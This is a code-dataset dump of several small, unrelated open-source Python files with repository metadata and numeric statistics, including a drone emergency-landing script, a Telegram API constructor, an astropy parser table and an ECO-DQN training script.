| 0.333333
| 0
| 0.666667
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
|
0
| 4
|
25c4a5d52683ac1bcd6aafd872dc38d724bc83d9
| 134
|
py
|
Python
|
examples/kill.py
|
minghancmh/pyparrot
|
aea5f26b322e4d46b2e16562c6413c585464146a
|
[
"MIT"
] | null | null | null |
examples/kill.py
|
minghancmh/pyparrot
|
aea5f26b322e4d46b2e16562c6413c585464146a
|
[
"MIT"
] | null | null | null |
examples/kill.py
|
minghancmh/pyparrot
|
aea5f26b322e4d46b2e16562c6413c585464146a
|
[
"MIT"
] | null | null | null |
from pyparrot.Bebop import Bebop
import math
bebop = Bebop()
bebop.emergency_land()
print("DONE - disconnecting")
bebop.disconnect()
| 16.75
| 32
| 0.776119
| 17
| 134
| 6.058824
| 0.647059
| 0.213592
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.11194
| 134
| 8
| 33
| 16.75
| 0.865546
| 0
| 0
| 0
| 0
| 0
| 0.148148
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 0.333333
| 0.166667
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
d301b048278f780326ce014348b0dba72f5bcf93
| 168
|
py
|
Python
|
py_tdlib/constructors/get_groups_in_common.py
|
Mr-TelegramBot/python-tdlib
|
2e2d21a742ebcd439971a32357f2d0abd0ce61eb
|
[
"MIT"
] | 24
|
2018-10-05T13:04:30.000Z
|
2020-05-12T08:45:34.000Z
|
py_tdlib/constructors/get_groups_in_common.py
|
MrMahdi313/python-tdlib
|
2e2d21a742ebcd439971a32357f2d0abd0ce61eb
|
[
"MIT"
] | 3
|
2019-06-26T07:20:20.000Z
|
2021-05-24T13:06:56.000Z
|
py_tdlib/constructors/get_groups_in_common.py
|
MrMahdi313/python-tdlib
|
2e2d21a742ebcd439971a32357f2d0abd0ce61eb
|
[
"MIT"
] | 5
|
2018-10-05T14:29:28.000Z
|
2020-08-11T15:04:10.000Z
|
from ..factory import Method
class getGroupsInCommon(Method):
user_id = None # type: "int32"
offset_chat_id = None # type: "int53"
limit = None # type: "int32"
| 21
| 39
| 0.690476
| 22
| 168
| 5.136364
| 0.681818
| 0.212389
| 0.176991
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.044118
| 0.190476
| 168
| 7
| 40
| 24
| 0.786765
| 0.244048
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.2
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
d3044bab10866126d025e5cdf5ec65738c7092c0
| 172
|
py
|
Python
|
scripts/item/consume_2433197.py
|
Snewmy/swordie
|
ae01ed4ec0eb20a18730e8cd209eea0b84a8dd17
|
[
"MIT"
] | null | null | null |
scripts/item/consume_2433197.py
|
Snewmy/swordie
|
ae01ed4ec0eb20a18730e8cd209eea0b84a8dd17
|
[
"MIT"
] | null | null | null |
scripts/item/consume_2433197.py
|
Snewmy/swordie
|
ae01ed4ec0eb20a18730e8cd209eea0b84a8dd17
|
[
"MIT"
] | null | null | null |
# Damage Skin - Violetta
success = sm.addDamageSkin(2433197)
if success:
sm.chat("The Damage Skin - Violetta has been added to your account's damage skin collection.")
| 34.4
| 98
| 0.75
| 25
| 172
| 5.16
| 0.72
| 0.232558
| 0.27907
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.048611
| 0.162791
| 172
| 4
| 99
| 43
| 0.847222
| 0.127907
| 0
| 0
| 0
| 0
| 0.560811
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
d30ffea315f250f9912b82e9a9cdd819f1843403
| 59
|
py
|
Python
|
zang/inboundxml/elements/constants.py
|
vlastikczech/zang-python
|
980f5243071404d6838554500a6955ff7bc2a0c7
|
[
"MIT"
] | 1
|
2019-02-18T21:51:58.000Z
|
2019-02-18T21:51:58.000Z
|
zang/inboundxml/elements/constants.py
|
vlastikczech/zang-python
|
980f5243071404d6838554500a6955ff7bc2a0c7
|
[
"MIT"
] | 6
|
2019-06-26T13:56:22.000Z
|
2022-02-17T16:40:48.000Z
|
zang/inboundxml/elements/constants.py
|
vlastikczech/zang-python
|
980f5243071404d6838554500a6955ff7bc2a0c7
|
[
"MIT"
] | 6
|
2017-10-17T12:44:32.000Z
|
2020-02-07T20:45:00.000Z
|
XML_DECLARATION = '<?xml version="1.0" encoding="UTF-8"?>'
| 29.5
| 58
| 0.661017
| 9
| 59
| 4.222222
| 0.888889
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.055556
| 0.084746
| 59
| 1
| 59
| 59
| 0.648148
| 0
| 1
| 0
| 0
| 0
| 0.644068
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
d321c385515d58973518fee1f54b1f14924828a1
| 449
|
py
|
Python
|
peregrinearb/__init__.py
|
kecheon/peregrine
|
3d308ff3134bc00900421b248f9f93d7ad31ddb6
|
[
"MIT"
] | 954
|
2018-02-19T23:20:08.000Z
|
2022-03-28T16:37:43.000Z
|
peregrinearb/__init__.py
|
edouardkombo/peregrine
|
a3346e937d417acd91468884ee1fc14586cf317d
|
[
"MIT"
] | 55
|
2018-02-17T00:12:03.000Z
|
2021-11-09T03:57:34.000Z
|
peregrinearb/__init__.py
|
edouardkombo/peregrine
|
a3346e937d417acd91468884ee1fc14586cf317d
|
[
"MIT"
] | 307
|
2018-02-24T06:00:13.000Z
|
2022-03-30T01:28:32.000Z
|
from .async_find_opportunities import *
from .async_build_markets import *
from .bellman_multi_graph import bellman_ford_multi, NegativeWeightFinderMulti
from .bellmannx import bellman_ford, calculate_profit_ratio_for_path, NegativeWeightFinder, NegativeWeightDepthFinder, \
find_opportunities_on_exchange, get_starting_volume
from .utils import *
from .fetch_exchange_tickers import *
from .settings import *
from .multi_graph_builder import *
| 44.9
| 120
| 0.857461
| 54
| 449
| 6.722222
| 0.555556
| 0.137741
| 0.093664
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.095768
| 449
| 9
| 121
| 49.888889
| 0.894089
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.888889
| 0
| 0.888889
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
d33c517e903d4299dcc756db5c8e54c394d2ba3f
| 56
|
py
|
Python
|
goodmorning.py
|
patelkishan9286/Open-contributions
|
7c106acf84449246ff2bfb95537b95489287b660
|
[
"MIT"
] | 61
|
2020-09-10T05:16:19.000Z
|
2021-11-07T00:22:46.000Z
|
goodmorning.py
|
vivek-pratap/Open-contributions
|
46011948225cb194e1185507086f33f873a8103b
|
[
"MIT"
] | 72
|
2020-09-12T09:34:19.000Z
|
2021-08-01T17:48:46.000Z
|
goodmorning.py
|
vivek-pratap/Open-contributions
|
46011948225cb194e1185507086f33f873a8103b
|
[
"MIT"
] | 571
|
2020-09-10T01:52:56.000Z
|
2022-03-26T17:26:23.000Z
|
def goodmorningmsg(name):
print("Good Morning,"+name)
| 28
| 29
| 0.732143
| 7
| 56
| 5.857143
| 0.857143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.107143
| 56
| 2
| 29
| 28
| 0.82
| 0
| 0
| 0
| 0
| 0
| 0.232143
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| false
| 0
| 0
| 0
| 0.5
| 0.5
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 4
|
d34bfac2c68b5bc667218c09d881c93232dd22a8
| 296
|
py
|
Python
|
MusicMaze/view/MusicTextView.py
|
RegaledSeer/MusicMaze
|
5a60fb23694583cfbfde3d19a0aec5292c5aa9cc
|
[
"MIT"
] | 3
|
2020-02-04T17:32:08.000Z
|
2020-03-25T13:52:29.000Z
|
MusicMaze/view/MusicTextView.py
|
RegaledSeer/MusicMaze
|
5a60fb23694583cfbfde3d19a0aec5292c5aa9cc
|
[
"MIT"
] | 24
|
2018-11-09T16:58:13.000Z
|
2018-12-30T18:44:51.000Z
|
MusicMaze/view/MusicTextView.py
|
CookieComputing/MusicMaze
|
5a60fb23694583cfbfde3d19a0aec5292c5aa9cc
|
[
"MIT"
] | null | null | null |
class MusicTextView:
"""This class represents one instance of a view for the music maze. The
purpose of this class is to represent the maze through text and also to
create a basis on the methods needed to cover all of the view's expected
features for sanity checking purposes."""
| 49.333333
| 76
| 0.75
| 49
| 296
| 4.530612
| 0.693878
| 0.081081
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.216216
| 296
| 5
| 77
| 59.2
| 0.956897
| 0.851351
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
d35e5632eaed82bd9c90818b3bb99927f47ec345
| 31
|
py
|
Python
|
macOS/Lock to Delete.py
|
ahornby/autokey-macos
|
10a7442c1d00363ade52e8fc9371565e0e36d23d
|
[
"MIT"
] | null | null | null |
macOS/Lock to Delete.py
|
ahornby/autokey-macos
|
10a7442c1d00363ade52e8fc9371565e0e36d23d
|
[
"MIT"
] | null | null | null |
macOS/Lock to Delete.py
|
ahornby/autokey-macos
|
10a7442c1d00363ade52e8fc9371565e0e36d23d
|
[
"MIT"
] | null | null | null |
keyboard.send_keys("<delete>")
| 15.5
| 30
| 0.741935
| 4
| 31
| 5.5
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.032258
| 31
| 1
| 31
| 31
| 0.733333
| 0
| 0
| 0
| 0
| 0
| 0.258065
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
d37a8c4afe249b053873ffd431ee5ad68eca608c
| 408
|
py
|
Python
|
tests/undocumented_exception/test_undocumented_exception.py
|
Bakhtiyar-Garashov/flake8-fastapi
|
81e774defcae377e77c1986ca780a922b27d2757
|
[
"MIT"
] | 20
|
2021-06-01T20:53:46.000Z
|
2022-01-29T21:35:46.000Z
|
tests/undocumented_exception/test_undocumented_exception.py
|
Bakhtiyar-Garashov/flake8-fastapi
|
81e774defcae377e77c1986ca780a922b27d2757
|
[
"MIT"
] | 13
|
2021-06-02T15:26:22.000Z
|
2021-07-25T13:27:59.000Z
|
tests/undocumented_exception/test_undocumented_exception.py
|
Bakhtiyar-Garashov/flake8-fastapi
|
81e774defcae377e77c1986ca780a922b27d2757
|
[
"MIT"
] | 3
|
2021-06-01T21:16:58.000Z
|
2022-01-29T21:39:29.000Z
|
from flake8_plugin_utils import assert_error, assert_not_error
from flake8_fastapi.errors import UndocumentedHTTPExceptionError
from flake8_fastapi.visitors import UndocumentedHTTPException
def test_code_with_error(code: str):
assert_error(UndocumentedHTTPException, code, UndocumentedHTTPExceptionError)
def test_code_without_error(code: str):
assert_not_error(UndocumentedHTTPException, code)
| 31.384615
| 81
| 0.865196
| 46
| 408
| 7.326087
| 0.413043
| 0.089021
| 0.083086
| 0.106825
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.008086
| 0.090686
| 408
| 12
| 82
| 34
| 0.90027
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.428571
| 1
| 0.285714
| false
| 0
| 0.428571
| 0
| 0.714286
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
d3898d08968497a476957a8f48a651e422e97f11
| 140
|
py
|
Python
|
libdouya/utilities/tml/__init__.py
|
xmyeen/douya
|
d2f7c15ca2e049a8dad9d4deaeba73401c883860
|
[
"MIT"
] | null | null | null |
libdouya/utilities/tml/__init__.py
|
xmyeen/douya
|
d2f7c15ca2e049a8dad9d4deaeba73401c883860
|
[
"MIT"
] | null | null | null |
libdouya/utilities/tml/__init__.py
|
xmyeen/douya
|
d2f7c15ca2e049a8dad9d4deaeba73401c883860
|
[
"MIT"
] | null | null | null |
# -*- coding:utf-8 -*-
#!/usr/bin/env Python
from .text_markup_language_utility import TmlUtl,TmlDefs
__all__ = ["TmlUtl", "TmlDefs"]
| 23.333333
| 57
| 0.685714
| 18
| 140
| 4.944444
| 0.888889
| 0.292135
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.008333
| 0.142857
| 140
| 6
| 58
| 23.333333
| 0.733333
| 0.285714
| 0
| 0
| 0
| 0
| 0.139785
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
d38d50f8b393e6ce416e7a39039cace046ad8b98
| 73
|
py
|
Python
|
smartPlugOFF.py
|
fernangit/ras_py_smartPlugControl
|
0611ba9a23065ed385db12714e91fc1ad95cbe5d
|
[
"Apache-2.0"
] | null | null | null |
smartPlugOFF.py
|
fernangit/ras_py_smartPlugControl
|
0611ba9a23065ed385db12714e91fc1ad95cbe5d
|
[
"Apache-2.0"
] | null | null | null |
smartPlugOFF.py
|
fernangit/ras_py_smartPlugControl
|
0611ba9a23065ed385db12714e91fc1ad95cbe5d
|
[
"Apache-2.0"
] | null | null | null |
import tplink_smartplug_py3 as plug
plug.control('192.168.0.106', 'off')
| 24.333333
| 36
| 0.767123
| 13
| 73
| 4.153846
| 0.923077
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.164179
| 0.082192
| 73
| 2
| 37
| 36.5
| 0.641791
| 0
| 0
| 0
| 0
| 0
| 0.219178
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
d396f299dbb490cc82d30fe2a52ad68998184b54
| 258
|
py
|
Python
|
labelio/Readers/DataReaderFactory.py
|
farmerTheodor/labelio
|
fc9846467a88e07ffb14863e1db409fb11d036b2
|
[
"MIT"
] | null | null | null |
labelio/Readers/DataReaderFactory.py
|
farmerTheodor/labelio
|
fc9846467a88e07ffb14863e1db409fb11d036b2
|
[
"MIT"
] | null | null | null |
labelio/Readers/DataReaderFactory.py
|
farmerTheodor/labelio
|
fc9846467a88e07ffb14863e1db409fb11d036b2
|
[
"MIT"
] | null | null | null |
from labelio.Readers.DataReaderBase import DataReaderBase
from labelio.Readers.PascalVocDataReader import PascalVocDataReader
def GetDataReader(source) -> DataReaderBase:
if ".xml" in source:
return PascalVocDataReader(source)
return None
| 25.8
| 67
| 0.790698
| 25
| 258
| 8.16
| 0.56
| 0.107843
| 0.176471
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.151163
| 258
| 9
| 68
| 28.666667
| 0.931507
| 0
| 0
| 0
| 0
| 0
| 0.015504
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.166667
| false
| 0
| 0.333333
| 0
| 0.833333
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
6cb6a915b32b04316ccf37537bdf1d4786016e06
| 6,915
|
py
|
Python
|
NASA SPACEAPPS CHALLENGE/Solution/Software part/Astronomical Data and Python Libraries/Astropy/astropy-1.1.2/astropy/units/format/ogip_parsetab.py
|
sahirsharma/Martian
|
062e9b47849512863c16713811f347ad7e121b56
|
[
"MIT"
] | null | null | null |
NASA SPACEAPPS CHALLENGE/Solution/Software part/Astronomical Data and Python Libraries/Astropy/astropy-1.1.2/astropy/units/format/ogip_parsetab.py
|
sahirsharma/Martian
|
062e9b47849512863c16713811f347ad7e121b56
|
[
"MIT"
] | null | null | null |
NASA SPACEAPPS CHALLENGE/Solution/Software part/Astronomical Data and Python Libraries/Astropy/astropy-1.1.2/astropy/units/format/ogip_parsetab.py
|
sahirsharma/Martian
|
062e9b47849512863c16713811f347ad7e121b56
|
[
"MIT"
] | null | null | null |
# Licensed under a 3-clause BSD style license - see LICENSE.rst
from __future__ import (absolute_import, division, print_function, unicode_literals)
# This file is automatically generated. Do not edit.
_tabversion = '3.5'
_lr_method = 'LALR'
_lr_signature = '6AD6E7286443B59D7DF329E6378BFC6B'
_lr_action_items = {'DIVISION':([0,4,5,6,7,10,11,15,16,17,19,20,24,26,27,34,37,38,41,44,46,47,49,50,53,57,59,60,62,63,66,67,],[1,-10,1,1,-6,1,-17,-30,35,-16,-41,-40,35,-7,42,1,-9,-8,-12,-33,-32,-18,-19,-31,-15,1,-11,-14,-35,-34,-13,-36,]),'STAR':([4,5,7,15,19,20,24,26,37,38,41,44,46,50,59,60,62,63,66,67,],[-10,23,-6,-30,-41,-40,40,-7,-9,-8,-12,-33,-32,-31,-11,-14,-35,-34,-13,-36,]),'WHITESPACE':([0,1,4,5,6,7,10,11,15,17,19,20,23,26,27,34,35,37,38,40,41,42,44,46,47,49,50,53,57,59,60,62,63,66,67,],[16,18,-10,24,16,-6,27,-17,-30,-16,-41,-40,39,-7,16,16,52,-9,-8,54,-12,56,-33,-32,-18,-19,-31,-15,16,-11,-14,-35,-34,-13,-36,]),'STARSTAR':([11,13,15,17,19,20,31,41,59,],[29,29,29,29,-41,-40,-39,29,29,]),'UNKNOWN':([0,],[2,]),'LIT10':([0,],[17,]),'SIGN':([0,29,30,32,33,36,45,55,64,],[12,-29,48,48,48,48,12,48,48,]),'OPEN_PAREN':([0,1,6,9,10,11,15,17,18,19,20,21,22,23,24,27,29,30,32,33,34,35,36,39,40,42,44,46,47,49,52,53,54,55,56,62,63,64,67,],[6,-20,6,6,6,-17,34,-16,-23,-41,-40,6,6,-25,-24,6,-29,45,45,45,6,-21,45,-28,-26,-20,-33,-32,-18,-19,-22,-15,-27,45,-22,-35,-34,45,-36,]),'UINT':([0,1,3,12,18,29,30,32,33,35,36,45,48,52,55,61,64,],[-38,-20,20,31,-23,-29,46,46,46,-21,46,-38,-37,-22,46,65,46,]),'CLOSE_PAREN':([4,5,7,15,19,20,25,26,31,37,38,41,44,46,50,51,57,58,59,60,62,63,65,66,67,],[-10,-5,-6,-30,-41,-40,41,-7,-39,-9,-8,-12,-33,-32,-31,59,62,63,-11,-14,-35,-34,67,-13,-36,]),'$end':([2,4,5,7,8,14,15,19,20,26,28,37,38,41,43,44,46,50,59,60,62,63,66,67,],[-1,-10,-5,-6,0,-2,-30,-41,-40,-7,-3,-9,-8,-12,-4,-33,-32,-31,-11,-14,-35,-34,-13,-36,]),'UNIT':([0,1,6,9,10,11,17,18,19,20,21,22,23,24,27,34,35,39,40,42,44,46,47,49,52,53,54,56,62,63,67,],[15,-20,15,15,15,-17,-16,-23,-41,-40,15,15,-25,-24,15,15,-21,-28,-26,-20,-33,-32,-18,-19,-22,-15,-27,-22,-35,-34,-36,]),'UFLOAT':([0,3,12,29,30,32,33,36,45,48,55,64,],[-38,19,-37,-29,-38,-38,-38,-38,-38,-37,-38,-38,]),}
_lr_action = {}
for _k, _v in _lr_action_items.items():
for _x,_y in zip(_v[0],_v[1]):
if not _x in _lr_action: _lr_action[_x] = {}
_lr_action[_x][_k] = _y
del _lr_action_items
_lr_goto_items = {'division':([0,5,6,10,27,34,57,],[9,21,9,9,9,9,61,]),'product':([5,],[22,]),'scale_factor':([0,],[10,]),'power':([11,13,15,17,41,59,],[30,32,33,36,55,64,]),'signed_float':([0,30,32,33,36,45,55,64,],[11,44,44,44,44,57,44,44,]),'sign':([0,30,32,33,36,45,55,64,],[3,3,3,3,3,3,3,3,]),'product_of_units':([0,6,10,27,34,],[5,5,5,5,5,]),'signed_int':([0,45,],[13,58,]),'unit_expression':([0,6,9,10,21,22,27,34,],[7,7,26,7,37,38,7,7,]),'numeric_power':([30,32,33,36,55,64,],[47,49,50,53,60,66,]),'main':([0,],[8,]),'complete_expression':([0,6,10,27,34,],[14,25,28,43,51,]),'unit':([0,6,9,10,21,22,27,34,],[4,4,4,4,4,4,4,4,]),}
_lr_goto = {}
for _k, _v in _lr_goto_items.items():
for _x, _y in zip(_v[0], _v[1]):
if not _x in _lr_goto: _lr_goto[_x] = {}
_lr_goto[_x][_k] = _y
del _lr_goto_items
_lr_productions = [
("S' -> main","S'",1,None,None,None),
('main -> UNKNOWN','main',1,'p_main','ogip.py',180),
('main -> complete_expression','main',1,'p_main','ogip.py',181),
('main -> scale_factor complete_expression','main',2,'p_main','ogip.py',182),
('main -> scale_factor WHITESPACE complete_expression','main',3,'p_main','ogip.py',183),
('complete_expression -> product_of_units','complete_expression',1,'p_complete_expression','ogip.py',194),
('product_of_units -> unit_expression','product_of_units',1,'p_product_of_units','ogip.py',200),
('product_of_units -> division unit_expression','product_of_units',2,'p_product_of_units','ogip.py',201),
('product_of_units -> product_of_units product unit_expression','product_of_units',3,'p_product_of_units','ogip.py',202),
('product_of_units -> product_of_units division unit_expression','product_of_units',3,'p_product_of_units','ogip.py',203),
('unit_expression -> unit','unit_expression',1,'p_unit_expression','ogip.py',217),
('unit_expression -> UNIT OPEN_PAREN complete_expression CLOSE_PAREN','unit_expression',4,'p_unit_expression','ogip.py',218),
('unit_expression -> OPEN_PAREN complete_expression CLOSE_PAREN','unit_expression',3,'p_unit_expression','ogip.py',219),
('unit_expression -> UNIT OPEN_PAREN complete_expression CLOSE_PAREN power numeric_power','unit_expression',6,'p_unit_expression','ogip.py',220),
('unit_expression -> OPEN_PAREN complete_expression CLOSE_PAREN power numeric_power','unit_expression',5,'p_unit_expression','ogip.py',221),
('scale_factor -> LIT10 power numeric_power','scale_factor',3,'p_scale_factor','ogip.py',248),
('scale_factor -> LIT10','scale_factor',1,'p_scale_factor','ogip.py',249),
('scale_factor -> signed_float','scale_factor',1,'p_scale_factor','ogip.py',250),
('scale_factor -> signed_float power numeric_power','scale_factor',3,'p_scale_factor','ogip.py',251),
('scale_factor -> signed_int power numeric_power','scale_factor',3,'p_scale_factor','ogip.py',252),
('division -> DIVISION','division',1,'p_division','ogip.py',267),
('division -> WHITESPACE DIVISION','division',2,'p_division','ogip.py',268),
('division -> WHITESPACE DIVISION WHITESPACE','division',3,'p_division','ogip.py',269),
('division -> DIVISION WHITESPACE','division',2,'p_division','ogip.py',270),
('product -> WHITESPACE','product',1,'p_product','ogip.py',276),
('product -> STAR','product',1,'p_product','ogip.py',277),
('product -> WHITESPACE STAR','product',2,'p_product','ogip.py',278),
('product -> WHITESPACE STAR WHITESPACE','product',3,'p_product','ogip.py',279),
('product -> STAR WHITESPACE','product',2,'p_product','ogip.py',280),
('power -> STARSTAR','power',1,'p_power','ogip.py',286),
('unit -> UNIT','unit',1,'p_unit','ogip.py',292),
('unit -> UNIT power numeric_power','unit',3,'p_unit','ogip.py',293),
('numeric_power -> UINT','numeric_power',1,'p_numeric_power','ogip.py',302),
('numeric_power -> signed_float','numeric_power',1,'p_numeric_power','ogip.py',303),
('numeric_power -> OPEN_PAREN signed_int CLOSE_PAREN','numeric_power',3,'p_numeric_power','ogip.py',304),
('numeric_power -> OPEN_PAREN signed_float CLOSE_PAREN','numeric_power',3,'p_numeric_power','ogip.py',305),
('numeric_power -> OPEN_PAREN signed_float division UINT CLOSE_PAREN','numeric_power',5,'p_numeric_power','ogip.py',306),
('sign -> SIGN','sign',1,'p_sign','ogip.py',317),
('sign -> <empty>','sign',0,'p_sign','ogip.py',318),
('signed_int -> SIGN UINT','signed_int',2,'p_signed_int','ogip.py',327),
('signed_float -> sign UINT','signed_float',2,'p_signed_float','ogip.py',333),
('signed_float -> sign UFLOAT','signed_float',2,'p_signed_float','ogip.py',334),
]
| 94.726027
| 1,876
| 0.654085
| 1,350
| 6,915
| 3.166667
| 0.137778
| 0.057544
| 0.052398
| 0.011228
| 0.470643
| 0.414269
| 0.304795
| 0.293099
| 0.213801
| 0.15462
| 0
| 0.207431
| 0.058134
| 6,915
| 72
| 1,877
| 96.041667
| 0.448948
| 0.016197
| 0
| 0.032258
| 1
| 0
| 0.438088
| 0.007794
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.016129
| 0
| 0.016129
| 0.016129
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
6cc25fb038c79062c110c0e9bb22618927a8e29e
| 914
|
py
|
Python
|
experiments/BA_20spin/train_and_test_eco.py
|
davidzyx/eco-dqn
|
eb417d06d6e0533cfe8d02ce1860312ac905684c
|
[
"MIT"
] | 57
|
2019-09-16T15:59:54.000Z
|
2022-02-14T07:14:16.000Z
|
experiments/BA_20spin/train_and_test_eco.py
|
davidzyx/eco-dqn
|
eb417d06d6e0533cfe8d02ce1860312ac905684c
|
[
"MIT"
] | 6
|
2020-07-01T21:19:45.000Z
|
2021-11-17T20:52:31.000Z
|
experiments/BA_20spin/train_and_test_eco.py
|
davidzyx/eco-dqn
|
eb417d06d6e0533cfe8d02ce1860312ac905684c
|
[
"MIT"
] | 19
|
2019-12-09T04:26:12.000Z
|
2022-03-02T20:20:09.000Z
|
"""
Trains and tests ECO-DQN on 20 spin BA graphs.
"""
import experiments.BA_20spin.test.test_eco as test
import experiments.BA_20spin.train.train_eco as train
save_loc="BA_20spin/eco"
train.run(save_loc)
test.run(save_loc, graph_save_loc="_graphs/validation/BA_20spin_m4_100graphs.pkl", batched=True, max_batch_size=None)
test.run(save_loc, graph_save_loc="_graphs/validation/BA_40spin_m4_100graphs.pkl", batched=True, max_batch_size=None)
test.run(save_loc, graph_save_loc="_graphs/validation/BA_60spin_m4_100graphs.pkl", batched=True, max_batch_size=None)
test.run(save_loc, graph_save_loc="_graphs/validation/BA_100spin_m4_100graphs.pkl", batched=True, max_batch_size=None)
